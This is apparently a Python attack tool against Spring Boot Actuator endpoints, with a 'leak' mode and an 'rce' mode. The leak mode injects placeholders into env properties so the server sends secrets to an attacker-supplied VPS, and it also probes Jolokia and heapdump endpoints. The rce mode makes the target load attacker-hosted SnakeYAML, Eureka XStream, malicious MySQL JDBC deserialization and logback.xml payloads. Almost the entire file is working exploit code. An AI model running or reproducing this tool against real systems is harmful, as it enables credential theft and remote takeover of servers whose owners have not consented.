ActuatorExploit.py

# coding: utf-8
# -**- Author: LFY -**-

import requests
import argparse


def post(target, data, path, version):
    res = None
    if version == 1:
        try:
            res = requests.post(target + path, data=data)
        except Exception:
            print("[-] " + path + " request failed!")
            return
    elif version == 2:
        if data is None:
            json = None
        else:
            (name, value), = data.items()
            json = {
                "name": name,
                "value": value,
            }
        try:
            res = requests.post(target + "/actuator" + path,
                                json=json)
        except Exception:
            print("[-] " + path + " request failed!")
            return
    else:
        print("[-] Unknown version!")
        return

    return res


def check_env_and_refresh_exists(target, version):
    res = post(target, {1: 1}, "/env", version)
    if res is None or res.status_code == 405:
        print("[-] Env 'POST' not supported, exploit failed!\n")
        return False

    res = post(target, None, "/refresh", version)
    if res is None or res.status_code == 405:
        print("[-] Refresh 'POST' not supported, exploit failed!\n")
        return False

    return True


def check_jolokia_exists(target, version):
    if version == 1:
        target = target + "/jolokia"
    else:
        target = target + "/actuator/jolokia"

    res = requests.get(target)
    if res.status_code == 404:
        print("[-] Jolokia not exists!\n")
        return False

    return True


def check_mbean_exists(target, version, keywords):
    if version == 1:
        target = target + "/jolokia/list"
    else:
        target = target + "/actuator/jolokia/list"

    res = requests.get(target)
    for keyword in keywords:
        if keyword not in res.text:
            print(f"[-] MBean {keyword} not exist!")
            return False
    return True


class InfoLeaker(object):
    def __init__(self, target, info, version, vps=""):
        self.target = target
        self.info = info
        self.version = version
        self.vps = vps

    def get_by_jolokia(self):
        print("[*] Get By Jolokia...")

        if not check_jolokia_exists(self.target, self.version):
            return

        json = {
            "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
            "operation": "getProperty",
            "type": "EXEC",
            "arguments": [self.info]
        }

        if version == 1:
            target = self.target + "/jolokia"
        else:
            target = self.target + "/actuator/jolokia"

        res = requests.post(target, json=json)
        if res is None:
            print("[-] Exploit failed!\n")
            return

        print(res.text)
        print("[+] Exploit success!\n")

    def get_by_placeholder(self):
        print("[*] Get By Placeholder...")

        if not check_env_and_refresh_exists(self.target, self.version):
            return

        print("[+] Trying spring.cloud.bootstrap.location...")
        data = {
            "spring.cloud.bootstrap.location": "http://" + self.vps + "/?=${" + self.info + "}"
        }
        res = post(self.target, data, "/env", self.version)
        if res is None or self.vps not in res.text:
            print("[-] SnakeYAML exploit failed!")

        print("[+] Trying eureka.client.serviceUrl.defaultZone...")
        data = {
            "eureka.client.serviceUrl.defaultZone": "http://" + self.vps + "/?=${" + self.info + "}"
        }
        res = post(self.target, data, "/env", self.version)
        if res is None or self.vps not in res.text:
            print("[-] Eureka exploit failed!")

        post(self.target, None, "/refresh", self.version)
        print("[+] Exploit completed!\n")

    def get_by_heapdump(self):
        print("[*] Get By Heapdump...")

        if self.version == 1:
            res = requests.get(self.target + "/heapdump")
        elif self.version == 2:
            res = requests.get(self.target + "/actuator/heapdump")

        if res.status_code == 200:
            print("[+] Target can be exploited!\n")
        else:
            print("[-] Heapdump not exists!\n")


class RceExp(object):
    def __init__(self, target, version, vps=""):
        self.target = target
        self.version = version
        self.vps = vps

    def exp_spel(self):
        pass

    def exp_snakeYAML_and_eurekaXStream(self):
        print("[*] Exp SnakeYAML And EurekaXStream...")

        if not check_env_and_refresh_exists(self.target, self.version):
            return

        # spring-cloud-starter < 1.3.0.RELEASE
        print("[+] Trying to overwrite spring.cloud.bootstrap.location...")
        data = {
            "spring.cloud.bootstrap.location": "http://" + self.vps + "/1.yml"
        }
        res = post(self.target, data, "/env", self.version)
        if res is None or self.vps not in res.text:
            print("[-] SnakeYAML exploit failed!")


        # spring-cloud-starter-netflix-eureka-client < 1.8.7
        print("[+] Trying to overwrite eureka.client.serviceUrl.defaultZone...")
        data = {
            "eureka.client.serviceUrl.defaultZone": self.vps + "/1"
        }
        res = post(self.target, data, "/env", self.version)
        if res is None or self.vps not in res.text:
            print("[-] EurekaXStream exploit failed!")

        post(self.target, None, "/refresh", self.version)
        print("[+] Exploit completed!\n")

    def exp_jdbc_unser(self):
        print("[*] Exp JDBC Unser...")

        if not check_env_and_refresh_exists(self.target, self.version):
            return

        # mysql-connector-java 5/8
        print("[+] Trying to overwrite spring.datasource.url...")
        data = {
            "spring.datasource.url": "jdbc:mysql://" + self.vps + "/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
        }
        res = post(self.target, data, "/env", self.version)
        post(self.target, None, "/refresh", self.version)

        if res is None or self.vps not in res.text:
            print("[-] JDBC Unser exploit failed!\n")
            return

        print("[+] Try to trigger database operations manually!")
        print("[+] Exploit success!\n")

    def exp_jolokia_logback(self):
        print("[*] Exp Jolokia Logback...")

        if not check_jolokia_exists(self.target, self.version):
            return

        keywords = ["ch.qos.logback.classic.jmx.JMXConfigurator", "reloadByURL"]
        if not check_mbean_exists(self.target, self.version, keywords):
            return

        print("[+] Target could be attacked!")
        print("[+] Trying to reload {}'s logback.xml".format(self.vps))

        # xml_addr = input(
        #     "[+] Input logback's xml server addr or n:") or "n"
        # if xml_addr == "n":
        #     print("[+] Exploit completed!\n")
        #     return

        xml_addr = self.vps

        exp_url = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + xml_addr + "!/logback.xml"
        if self.version == 1:
            res = requests.get(self.target + exp_url)
        elif self.version == 2:
            res = requests.get(self.target + "/actuator" + exp_url)
        # print(res.text)
        if "\"status\":200" in res.text and xml_addr in res.text:
            print("[+] Exploit success!\n")
        else:
            print("[-] Exploit failed! Exploit it manually!\n")

    # elprocessor方式，无视jdk版本
    def exp_jolokia_realm(self):
        print("[*] Exp Jolokia Realm...")

        if not check_jolokia_exists(self.target, self.version):
            return

        keywords = ["type=MBeanFactory", "createJNDIRealm"]
        if not check_mbean_exists(self.target, self.version, keywords):
            return

        print("[+] Target could be attacked!")
        print("[+] Use RR's exp to attack!\n")

    def exp_h2(self):
        print("[*] Exp H2 DB...")

        if version == 1:
            target = self.target + "/env"
        else:
            target = self.target + "/actuator/env"

        res = requests.get(target)
        if res.status_code == 404:
            print("[-] Env not exists!\n")
            return

        if "h2database" in res.text:
            print("[+] H2database exists! Exploit it manually!")


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest='target',
                        help="target url, like http://127.0.0.1")
    parser.add_argument("-w", "--way", dest='way',
                        help="scan way, input leak/rce")
    parser.add_argument("-v", "--version", dest='version',
                        help="sb version, input 1/2, 2 is /actuator/xxx")
    parser.add_argument("-p", "--vps", dest='vps',
                        help="listener vps ip")
    parser.add_argument("-i", "--info", dest='info',
                        help="info to leak", default="")

    args = parser.parse_args()
    target = args.target
    info = args.info
    version = int(args.version)
    vps = args.vps

    if args.way == "leak":
        print("[*] Trying to leak info...\n")
        leaker = InfoLeaker(target, info, version, vps)
        leaker.get_by_placeholder()
        leaker.get_by_jolokia()
        leaker.get_by_heapdump()
    elif args.way == "rce":
        print("[*] Trying to RCE...\n")
        rcechecker = RceExp(target, version, vps)
        rcechecker.exp_snakeYAML_and_eurekaXStream()
        rcechecker.exp_jolokia_logback()
        rcechecker.exp_jolokia_realm()
        rcechecker.exp_jdbc_unser()